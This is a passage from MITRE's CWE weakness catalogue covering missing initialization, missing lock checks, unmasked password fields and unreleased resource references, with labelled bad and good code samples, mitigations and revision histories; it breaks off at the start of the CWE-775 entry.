The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 4

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

(bad code)
Example Language: Java 
public class BankManager {

// user allowed to perform bank manager tasks
private User user = null;
private boolean isUserAuthentic = false;

// constructor for BankManager class
public BankManager() {
...
}

// retrieve user from database of users
public User getUserFromUserDatabase(String username){
...
}

// set user variable using username
public void setUser(String username) {
this.user = getUserFromUserDatabase(username);
}

// authenticate user
public boolean authenticateUser(String username, String password) {
if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
isUserAuthentic = true;
}
return isUserAuthentic;
}

// methods for performing bank manager tasks
...
}

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

(good code)
Example Language: Java 
public class BankManager {

// user allowed to perform bank manager tasks
private User user = null;
private boolean isUserAuthentic = false;

// constructor for BankManager class
public BankManager(String username) {
user = getUserFromUserDatabase(username);
}

// retrieve user from database of users
public User getUserFromUserDatabase(String username) {...}

// authenticate user
public boolean authenticateUser(String username, String password) {
if (user == null) {
System.out.println("Cannot find user " + username);
}
else {
if (password.equals(user.getPassword())) {
isUserAuthentic = true;
}
}
return isUserAuthentic;
}

// methods for performing bank manager tasks
...

}

Example 5

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

(bad code)
Example Language:
char *test_string;
if (i != err_val)
{
test_string = "Hello World!";
}
printf("%s", test_string);

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

(good code)
Example Language:
char *test_string = "Done at the beginning";
if (i != err_val)
{
test_string = "Hello World!";
}
printf("%s", test_string);

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

(good code)
Example Language:
char *test_string;
if (i != err_val)
{
test_string = "Hello World!";
}
else {
test_string = "Done on the other side!";
}
printf("%s", test_string);
+ Observed Examples
ReferenceDescription
Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)
Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).
A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage
Product uses uninitialized variables for size and index, leading to resultant buffer overflow.
Internal variable in PHP application is not initialized, allowing external modification.
Array variable not initialized in PHP application, leading to resultant SQL injection.
+ Potential Mitigations

Phase: Implementation

Check that critical variables are initialized.

Phase: Testing

Use a static analysis tool to spot non-initialized variables.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1180SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Initialization
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingERR30-CCWE More AbstractSet errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure
SEI CERT Perl Coding StandardDCL04-PLExactAlways initialize local variables
SEI CERT Perl Coding StandardDCL33-PLImpreciseDeclare identifiers before using them
OMG ASCSMASCSM-CWE-456
OMG ASCRMASCRM-CWE-456
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-456. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-456. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Name, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2013-02-21Missing Initialization

CWE-414: Missing Lock Check

Weakness ID: 414
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product does not check to see if a lock is present before performing sensitive operations on a resource.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: Modify Application Data; DoS: Instability; DoS: Crash, Exit, or Restart

+ Observed Examples
ReferenceDescription
Product does not properly check if a lock is present, allowing other attackers to access functionality.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Implement a reliable lock mechanism.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMissing Lock Check
Software Fault PatternsSFP19Missing Lock
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-549: Missing Password Field Masking

Weakness ID: 549
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Potential Mitigations

Phases: Implementation; Requirements

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Type
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID: 771
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.
+ Extended Description
This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.773Missing Reference to Active File Descriptor or Handle
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.
+ Likelihood Of Exploit
Medium
+ Potential Mitigations

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
CERT C Secure CodingMEM31-CCWE More AbstractFree dynamically allocated memory when no longer needed
Software Fault PatternsSFP14Failure to Release Resource
ISA/IEC 62443Part 3-3Req SR 7.2
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-2Req CR 7.2
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Maintenance_Notes, Relationships, Theoretical_Notes
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID: 773
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.
+ Extended Description
This can cause the product to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.771Missing Reference to Active Allocated Resource
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.
+ Potential Mitigations

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
Software Fault PatternsSFP14Failure to Release Resource
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-05-13
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Relationships, Theoretical_Notes
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime

Weakness ID: 775
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
